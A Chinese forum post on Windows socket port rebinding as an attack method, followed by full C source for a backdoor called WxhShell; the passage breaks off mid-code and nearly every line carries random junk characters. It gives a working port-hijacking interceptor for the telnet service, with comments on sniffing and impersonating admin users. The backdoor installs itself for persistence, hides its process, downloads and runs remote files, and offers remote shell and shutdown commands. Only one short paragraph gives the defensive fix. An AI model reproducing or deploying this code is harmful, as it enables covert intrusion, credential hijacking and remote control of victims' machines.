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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )4U> !KrY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gbeghLP[?  
vr^~yEr  
  saddr.sin_family = AF_INET; n6d9 \  
54;J8XT7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JCcZuwu[  
j:T/iH!YF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %=AxJp!a  
6Tw#^;q-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c}*2$1  
L TV{{Z+  
  这意味着什么?意味着可以进行如下的攻击: z{"2S="  
W%2 80\h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3nZ9m  
@RFs/'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r)9Dy,  
v[@c*wo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YIt& >  
,oxcq?7#4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   |{* }|  
4H5pr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (bOpV>\Q7  
pMg3fUIM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n%R;-?*v  
9`jcC-;iv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M/?KV9Xk2  
)VCzn~uf  
  #include 5(W"-A}  
  #include 6iEhsL&K  
  #include ^=n+T7"J  
  #include    qmTb-~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \ \BCcr\l  
  int main() -LDCBc"  
  { IW8+_#d  
  WORD wVersionRequested; ,:~0F^z  
  DWORD ret; wiaX&-c]8  
  WSADATA wsaData; !3i Gz_y  
  BOOL val; 8Y0"Cejq  
  SOCKADDR_IN saddr; GU't%[  
  SOCKADDR_IN scaddr; RsU3Gi_Zdz  
  int err; Eca\fkj  
  SOCKET s; D'Z|}(d&  
  SOCKET sc; O20M[_S  
  int caddsize; kyAXRwzI  
  HANDLE mt; 7&`}~$>}>e  
  DWORD tid;   5qg2Zc~  
  wVersionRequested = MAKEWORD( 2, 2 ); 48|s$K^  
  err = WSAStartup( wVersionRequested, &wsaData ); 5Zmw} M  
  if ( err != 0 ) { *5zrZ]^  
  printf("error!WSAStartup failed!\n"); xD&^j$Em  
  return -1; ve ~05mg  
  } nf 1#tlIJd  
  saddr.sin_family = AF_INET; t1VH doNN  
   ,+qVu,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vA$o~?a]/  
"#v=IJy&r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZpUCfS)|&  
  saddr.sin_port = htons(23); 2L AYDaS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hYQ_45Z*?  
  { th6+2&B6  
  printf("error!socket failed!\n"); st"{M\.p  
  return -1; 5L:1A2Z?c  
  } > 0{S  
  val = TRUE; Z5c~^jL$-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mh<=[J,%p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K"<PGOF  
  { ^xf<nNF:p  
  printf("error!setsockopt failed!\n"); \%sVHt`c  
  return -1; 0-LpqX  
  } _k^0m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `/Nm 2K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K^_i%~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &a/__c/l  
tO_H!kP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tbnH,*  
  { 2F%W8Y 3  
  ret=GetLastError(); Bl9jkq ]  
  printf("error!bind failed!\n"); b':|uu*/  
  return -1; 64-#}3zL  
  } d:G]1k;z  
  listen(s,2); GE>[*zN  
  while(1) .^$YfTabq  
  { <p;k)S2J  
  caddsize = sizeof(scaddr); JbB}y'c4}=  
  //接受连接请求 = 8gHS[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IrMl:+t\  
  if(sc!=INVALID_SOCKET) ! _2n  
  { X0 -IRJ[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g*w<*  
  if(mt==NULL) v^ d]r Sm  
  { CF|]e:  
  printf("Thread Creat Failed!\n"); )otb>w5  
  break; UD~p'^.m_  
  } u*  
  } mAk{"65V  
  CloseHandle(mt); nUq<TJ  
  } A]L%dFK  
  closesocket(s); 3:%QB9qc]'  
  WSACleanup(); $,xnU.n  
  return 0; qo)?8kx>l  
  }   r%DFve:%  
  DWORD WINAPI ClientThread(LPVOID lpParam) /~4 "No@  
  { ]nhr+;of/-  
  SOCKET ss = (SOCKET)lpParam; 0J.dG/I%  
  SOCKET sc; ~) ?  
  unsigned char buf[4096]; }HEvr)v9  
  SOCKADDR_IN saddr; GRy-+#,b"  
  long num; Ifk#/d  
  DWORD val; pj?XLiM54%  
  DWORD ret; !L5jj#0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -/ ]W+[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W)(^m},*8D  
  saddr.sin_family = AF_INET; ?j^=u:<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &h*S y  
  saddr.sin_port = htons(23); 2cu#lMq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y]%w)4PS  
  { Ld^GV   
  printf("error!socket failed!\n"); QZ `tNq :/  
  return -1; .k TG[)F0b  
  } [<`SfE  
  val = 100; 0iCPi)B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zF4[}*  
  { OdMO=Hy6d  
  ret = GetLastError(); 61U<5:#l  
  return -1; J==SZ v  
  } c62=*] ,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1GEK:g2B  
  { FZB~|3eq{  
  ret = GetLastError(); @eqeN9e  
  return -1; :hGPTf  
  } 5 =(c%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RkF D*E$  
  { PLM_#+R>  
  printf("error!socket connect failed!\n"); j?b\+rr  
  closesocket(sc); +Taa!hfys  
  closesocket(ss); -Xz?s  
  return -1; m?s}QGSka  
  } n(~\l#o@  
  while(1) -{h   
  { '2hbJk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0"pVT%b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dQy>Nmfy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (Lh#`L?x  
  num = recv(ss,buf,4096,0); ^s\3/z>b4!  
  if(num>0) /R X1UQ.s  
  send(sc,buf,num,0); {#IPf0O  
  else if(num==0) ]L2Oz  
  break; C@o%J.9"#  
  num = recv(sc,buf,4096,0); "s W-_j]  
  if(num>0) +.[\g|G  
  send(ss,buf,num,0); @|bP+8oU  
  else if(num==0) cIXwiC8t  
  break; t?;T3k[RM  
  } m}VM+=  
  closesocket(ss); Np)3+!^1"  
  closesocket(sc); ~;-9X|  
  return 0 ; j-]&'-h}#  
  } ]O:M$ $  
v}Wmd4Y'  
'f?.R&sCA  
========================================================== ~E4"}n[3A#  
m$>iS@R  
下边附上一个代码,,WXhSHELL 2k7bK6=nm  
zH)_vW  
========================================================== Q/_[--0&#  
B%<e FFV\  
#include "stdafx.h" #i QX 6WF  
S_J :&9L  
#include <stdio.h> `ia %)@  
#include <string.h> )tZ`K |  
#include <windows.h> 8uG0^h}  
#include <winsock2.h> #*q2d  
#include <winsvc.h> @b!"joEy  
#include <urlmon.h> !J>A,D"-  
e xR^/|BR  
#pragma comment (lib, "Ws2_32.lib") g=]&A  
#pragma comment (lib, "urlmon.lib") WbjF]b\  
ty1fcdFZM  
#define MAX_USER   100 // 最大客户端连接数 8 ?TKN~ja  
#define BUF_SOCK   200 // sock buffer "#^MUQ!a  
#define KEY_BUFF   255 // 输入 buffer q/@dR{-  
kL{;.WsB  
#define REBOOT     0   // 重启 7-iIay1h"  
#define SHUTDOWN   1   // 关机 GA^mgm"O  
,-*iCs<  
#define DEF_PORT   5000 // 监听端口 :jNYP{Br  
5P^U_  
#define REG_LEN     16   // 注册表键长度 C;1PsSE+A  
#define SVC_LEN     80   // NT服务名长度 Yt1mB[&f^  
~bU7QLr  
// 从dll定义API 1/j$I~B   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y'm=etE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (*^DN{5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P9#)~Zm}]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &a~=b,  
M$#sc`4*  
// wxhshell配置信息 ?A=b6Um  
struct WSCFG { i&tsYnP2  
  int ws_port;         // 监听端口 3l:XhLOj  
  char ws_passstr[REG_LEN]; // 口令 U^#?&u  
  int ws_autoins;       // 安装标记, 1=yes 0=no wz#[:2  
  char ws_regname[REG_LEN]; // 注册表键名 [STje8+V  
  char ws_svcname[REG_LEN]; // 服务名 = t+('  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {Bs+G/?o/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }5S2p@W)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r#h {$iW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G\rj?%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )h"Fla  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d.}}s$Q  
Y}1 P~  
}; -{x(`9H;  
lSCY5[?  
// default Wxhshell configuration #tz8{o?ebN  
struct WSCFG wscfg={DEF_PORT, o<\6Rm  
    "xuhuanlingzhe", >}]H;& l  
    1, sco uO$K  
    "Wxhshell", !LSs9_w  
    "Wxhshell", 0/A-#'>  
            "WxhShell Service", p$OD*f_b  
    "Wrsky Windows CmdShell Service", .ev\M0Dt  
    "Please Input Your Password: ", u8uW9 <  
  1, ]7<m1Lg  
  "http://www.wrsky.com/wxhshell.exe", 8&Wx@QI  
  "Wxhshell.exe"  GVp  
    }; 5Fe-=BX(  
sMJ#<w}Q  
// 消息定义模块 $MT}l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GMb!Q0I8  
char *msg_ws_prompt="\n\r? for help\n\r#>";  sL ~,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @^HwrwRA  
char *msg_ws_ext="\n\rExit."; 3;D?|E]1  
char *msg_ws_end="\n\rQuit."; jEE_D +K  
char *msg_ws_boot="\n\rReboot..."; L w*1 .~  
char *msg_ws_poff="\n\rShutdown..."; 1}DerX6  
char *msg_ws_down="\n\rSave to "; J[+Tj @n'  
-d_ 7*>m$  
char *msg_ws_err="\n\rErr!"; 0# UAjT3  
char *msg_ws_ok="\n\rOK!"; Zjt9vS)  
3GINv3_  
char ExeFile[MAX_PATH]; |0DP} `~  
int nUser = 0; 'Z$jBL  
HANDLE handles[MAX_USER]; {jUvKB_x  
int OsIsNt; u;(K34!)  
Jmy)J!ib*  
SERVICE_STATUS       serviceStatus; 6m\*]nOy4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o@@_J@}#  
p}r yKW\cJ  
// 函数声明 rJp?d9B  
int Install(void); 8tC+ lc  
int Uninstall(void); 5 2fO)!  
int DownloadFile(char *sURL, SOCKET wsh);  3:"AFV  
int Boot(int flag); S#hu2\9D,  
void HideProc(void); 6i^0T  
int GetOsVer(void); Ol_/uy1r[  
int Wxhshell(SOCKET wsl); {;;eOxOP|  
void TalkWithClient(void *cs); D~7%};D[  
int CmdShell(SOCKET sock); TA<hj[-8  
int StartFromService(void); Do(P dF6A  
int StartWxhshell(LPSTR lpCmdLine); k~ZBJ+ 94  
6O]Xhe0d@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &F9OZMK=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W|~q<},j  
(c 1u{  
// 数据结构和表定义 !__D}k,  
SERVICE_TABLE_ENTRY DispatchTable[] = vr<)Ay  
{ 0.3^   
{wscfg.ws_svcname, NTServiceMain}, XZ!cW=bqS  
{NULL, NULL} N.k+AQb  
}; EOofa6f&l  
-.^=Z!=M  
// 自我安装 yr (g~MQ  
int Install(void) 4$qNcMdz  
{ ,q/tyGj  
  char svExeFile[MAX_PATH]; 77*v-8c  
  HKEY key; ]gjr+GV  
  strcpy(svExeFile,ExeFile); 6MrZ6dz^  
KC#kss  
// 如果是win9x系统,修改注册表设为自启动 `\nON  
if(!OsIsNt) { ?hP<@L6K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&0;wgieg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5/zf x  
  RegCloseKey(key); (ej:_w1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +.XZK3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BYkVg2D(  
  RegCloseKey(key); Omp i~  
  return 0; z +y;y&P  
    } >Iu]T{QNO  
  } aslU`#"  
} 3(cU)  
else { wpAw/-/  
]Y?{$M G  
// 如果是NT以上系统,安装为系统服务 >_|Z{:z]d.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cfrvy^>,  
if (schSCManager!=0) ey'pm\Z  
{ =$&7IQ?  
  SC_HANDLE schService = CreateService ^D% }V-"  
  ( OL,/-;z6  
  schSCManager, {QIS411  
  wscfg.ws_svcname, .rt8]%  
  wscfg.ws_svcdisp, UrD=|-r`  
  SERVICE_ALL_ACCESS, 2GHXn:V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [q0_7  
  SERVICE_AUTO_START, Wq=ZU\Y  
  SERVICE_ERROR_NORMAL, [=]+lei  
  svExeFile, b#?ai3E  
  NULL, P5yJO97  
  NULL, +0oyt?  
  NULL, RT8_@8  
  NULL, =!1-AR%.^  
  NULL xI.Orpw  
  ); &KOG[tv  
  if (schService!=0) ^g}gT-l%  
  { CS^ oiV%{s  
  CloseServiceHandle(schService); Fy4<  
  CloseServiceHandle(schSCManager); Q2_WH)J 3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mG}^'?^K  
  strcat(svExeFile,wscfg.ws_svcname); o=QRgdPD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (R;) 9I\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L V[66<T  
  RegCloseKey(key); <Y}"D Yt  
  return 0; FcA)RsMI*  
    } =,/A\F  
  } ]noP  
  CloseServiceHandle(schSCManager); !9e\O5PmO  
} pAUfG^v  
} eCPKpVhP  
6\)8mK  
return 1; z1{E:~f  
} Hm.&f2|(  
WcZo+r  
// 自我卸载 .Y^d9.  
int Uninstall(void) [i<$ZP  
{ t9$AvE#a!=  
  HKEY key; Q)%8NVs  
;S{Ld1;  
if(!OsIsNt) { }K#&5E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \U<F\i  
  RegDeleteValue(key,wscfg.ws_regname); @]y{M;  
  RegCloseKey(key); C,VqT6E<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kw}ISXz v  
  RegDeleteValue(key,wscfg.ws_regname); "x=@ ,*Bk  
  RegCloseKey(key); vBCZ/F[  
  return 0; r=P$iG'&  
  } :(S/$^U  
} @6I[{{>X  
} "PDSqYA  
else { LfjS[  
Vbqm]2o&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?O.6r"  
if (schSCManager!=0) <5!RAdaj+  
{ 1TD&&EC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^RF mRn  
  if (schService!=0) yw3U"/yw  
  { 3MBz  
  if(DeleteService(schService)!=0) { %unK8z  
  CloseServiceHandle(schService); t+4%,n f_1  
  CloseServiceHandle(schSCManager); *C:q _/  
  return 0; zOdasEd8!  
  } }v(H E%~}  
  CloseServiceHandle(schService); JG+g88  
  } 45O6TqepN  
  CloseServiceHandle(schSCManager); %f3Nml  
} 8 *(W |J  
} A0N ;VYv  
onJ[&f  
return 1; WX[dM }L  
} pS|JDMo  
omUl2C  
// 从指定url下载文件 zk^7gx3x  
int DownloadFile(char *sURL, SOCKET wsh) 8`LLHX1|  
{ -"JE-n  
  HRESULT hr; hoD[wAC  
char seps[]= "/"; ,9l!fT?iH  
char *token; \8>N<B)  
char *file; B=RKi\K6a  
char myURL[MAX_PATH]; I}Gl*@K&O  
char myFILE[MAX_PATH]; t"74HZO >  
Dil4ut- $  
strcpy(myURL,sURL); K?9H.#(  
  token=strtok(myURL,seps); GL0':LsZ  
  while(token!=NULL) @ :   
  { iNrmhiql  
    file=token; :-'ri Ry  
  token=strtok(NULL,seps); UNH}*]u4`  
  } pcxl2I  
+P6  
GetCurrentDirectory(MAX_PATH,myFILE); qP.VK?jF|  
strcat(myFILE, "\\"); Yr(f iI  
strcat(myFILE, file); 1p5q}">z  
  send(wsh,myFILE,strlen(myFILE),0); 6`$z*C2{  
send(wsh,"...",3,0); !\|@{UJk/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bA9dbe  
  if(hr==S_OK) 6I.+c  
return 0; B(vz$QE,$r  
else oIR%{`3"I  
return 1; f*H}eu3/j  
O7_NXfh|  
} $/(/v?3][e  
9mtC"M<   
// 系统电源模块 21J82M  
int Boot(int flag) )UU6\2^  
{ T=KrT7  
  HANDLE hToken; n#AH@`&i  
  TOKEN_PRIVILEGES tkp; Fl(ZKpSZU  
9*Mg<P"  
  if(OsIsNt) { X/D9%[{&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3G0\i!*t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |8?{JKsg  
    tkp.PrivilegeCount = 1; i*rv_G|(Zj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K1:)J.ca_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8i 'jkyInT  
if(flag==REBOOT) { ;iI2K/ 3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "+"dALX{3K  
  return 0; )uJ`E8>-  
} +[nYu)puP  
else { BHBR_7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8k}CR)3@C  
  return 0; !LSWg:Ev+  
} L.&Vi"M <@  
  } H0Xda.Y(  
  else { \nt'I;f  
if(flag==REBOOT) { {.'g!{SHp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \FX3=WW  
  return 0; BiAcjN:Z  
} 5 `mVe0uI  
else { os+wTUR^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JugQ +0  
  return 0; }{PtQc6RL!  
} 4y)1*VU:  
} Hd}t=6  
+n]Knfi  
return 1; )CU(~s|s  
} 5WX2rJ8z  
hIHO a  
// win9x进程隐藏模块 hRiGW_t  
void HideProc(void) NWcF9z%@  
{ Wsz9X;  
V3nv5/6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xpo}YF'5  
  if ( hKernel != NULL ) XX+rf  
  { Msdwv.jM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !T1i_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dv>zK#!  
    FreeLibrary(hKernel); XBBRB<l)  
  } 5rhdm?Ls0  
\p|!=H@  
return; 3<SC`6'?  
} Sa(r l^qZ2  
?q6eV~P  
// 获取操作系统版本 uSbg*OA  
int GetOsVer(void) n*|-"'j  
{ 3`I_  
  OSVERSIONINFO winfo; n[7zK'%Dxg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); au v\fR :  
  GetVersionEx(&winfo); vDL/PXNC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ku# _   
  return 1; 6C5qW8q]u3  
  else 3s Nq3I  
  return 0; \/G Y0s  
} n(MEG'9}  
l\GNd6)H  
// 客户端句柄模块 >TJ$Z3  
int Wxhshell(SOCKET wsl) O*7~t17  
{ |0 VP^md  
  SOCKET wsh; EtG)2)  
  struct sockaddr_in client; gA*zFhGVS7  
  DWORD myID; /+7L`KPD  
.42OSV  
  while(nUser<MAX_USER) ^u74WN  
{ bL%)k61G_v  
  int nSize=sizeof(client); `w }"0+V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .:/@<V+K  
  if(wsh==INVALID_SOCKET) return 1; : Dlk `?  
V-|}.kOH2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i=UJ*c  
if(handles[nUser]==0) 03y<'n  
  closesocket(wsh); o%iTYR :x  
else }#M|3h;q9+  
  nUser++; R& A.F+Zgt  
  } h:wD &Fh8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vY koh/(/u  
r+crE %-  
  return 0; d+;~x*  
} #c_ZU\" h"  
ljRR  
// 关闭 socket 7y&`H  
void CloseIt(SOCKET wsh) r+2dBp3  
{ :#vrNg(M  
closesocket(wsh); jC=_>\<|X*  
nUser--; >?tpGEZ\  
ExitThread(0); (H7q[UG|  
} t s&C0  
h";sQ'us  
// 客户端请求句柄 n@f@-d$m\<  
void TalkWithClient(void *cs) uU0'y4=  
{ !xSGZ D=AD  
:1Ay_ b_J  
  SOCKET wsh=(SOCKET)cs; Bb6_['y  
  char pwd[SVC_LEN]; ;S/fe(C   
  char cmd[KEY_BUFF]; @NZ?D0"  
char chr[1]; E*zk?G|  
int i,j; MLl:)W*  
3-0Y<++W3>  
  while (nUser < MAX_USER) { \BA_PyS?W+  
*hba>LZ  
if(wscfg.ws_passstr) { 8oK30?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '"6VfF)*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g"xZ{k_3  
  //ZeroMemory(pwd,KEY_BUFF); ugz1R+f_4{  
      i=0; YAD9'h]d\  
  while(i<SVC_LEN) { #*fB~Os:  
e2>gQ p/  
  // 设置超时 umciP  
  fd_set FdRead; 5we1q7  
  struct timeval TimeOut; sy~mcH:%+  
  FD_ZERO(&FdRead);  -H{{  
  FD_SET(wsh,&FdRead); Wjp<(aY[  
  TimeOut.tv_sec=8; iIg_S13  
  TimeOut.tv_usec=0; x~ I cSt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7J\I%r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J?{uG8)  
lw7wvZD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l`d=sOB^  
  pwd=chr[0]; f_}55?i0  
  if(chr[0]==0xd || chr[0]==0xa) { iC 2:P~  
  pwd=0; 3.soCyxmc  
  break; f?)qZPM  
  } %k"-rmW  
  i++; NWFZ:h@v  
    } L_/.b%0)  
{Tx+m;5F  
  // 如果是非法用户,关闭 socket &_ber ad  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3=` UX  
} cOIshT1  
O\x Uv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wEk9(|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qRNGe8  
OA[w|Tt  
while(1) { *M&~R(TMn  
)V3G~p=0  
  ZeroMemory(cmd,KEY_BUFF); 778a)ZOzb  
WFTTBUoH  
      // 自动支持客户端 telnet标准   =VDN9-/.  
  j=0; V<1dA\I"  
  while(j<KEY_BUFF) { =>&d[G[m!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nlh%O@,  
  cmd[j]=chr[0]; F&Q:1`y  
  if(chr[0]==0xa || chr[0]==0xd) { Dzb@H$BQ7  
  cmd[j]=0; ;vuok]@  
  break; ^,,|ED\M{m  
  } l]GLkE  
  j++; y/E%W/3  
    } 1_ %3cN.  
5E4np`J  
  // 下载文件 NU81 V0:jG  
  if(strstr(cmd,"http://")) { OF!(BJ L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lRn>/7sg$  
  if(DownloadFile(cmd,wsh)) x]w%?BlS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $5(co)C  
  else (;\JCeGA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iWO16=  
  } L -<!,CASW  
  else { 8KN0z<  
Ea 0 j}  
    switch(cmd[0]) { 0jG8Gmh!  
  ]v$VZ '  
  // 帮助 \vsfY   
  case '?': { 'jqkDPn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #Mrof9  
    break; '8PZmS8X9  
  } Nn>Oq+:  
  // 安装 }mz@oEB#vF  
  case 'i': { 7;5SK:X%dm  
    if(Install()) AfB,`l`k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.J Ad$>P  
    else ?31#:Mg6g+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H+6+I53  
    break; ^|gD;OED7O  
    } 8\P!47'q  
  // 卸载 V\vt!wBcB  
  case 'r': { `B-jwVrN(  
    if(Uninstall()) AhWcJD]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '9.L5*wh]  
    else tFn_{fCc>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5LMAy"  
    break; 8Q4yllv4  
    } =*>ri  
  // 显示 wxhshell 所在路径 y<|8OTT  
  case 'p': { P-U9FKrt  
    char svExeFile[MAX_PATH]; 0w<vc}{t  
    strcpy(svExeFile,"\n\r"); N3"O#C  
      strcat(svExeFile,ExeFile); crTRfqF  
        send(wsh,svExeFile,strlen(svExeFile),0); +6-_9qRq  
    break; Qa>t$`o`  
    } @kBy|5  
  // 重启 'A2^K5`3  
  case 'b': { yI$KBx/]n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  OXDEU.  
    if(Boot(REBOOT)) pV[SY6/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C( wZj O?N  
    else { +@G#Z3;l!  
    closesocket(wsh); p.)IdbC`B  
    ExitThread(0); =/kwUjC?  
    } ~'lYQ[7  
    break; 46 [k9T  
    } efN5(9*9R  
  // 关机 vX30Ijm  
  case 'd': { `]F}O \H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vb.}SG>  
    if(Boot(SHUTDOWN)) $-AG $1  
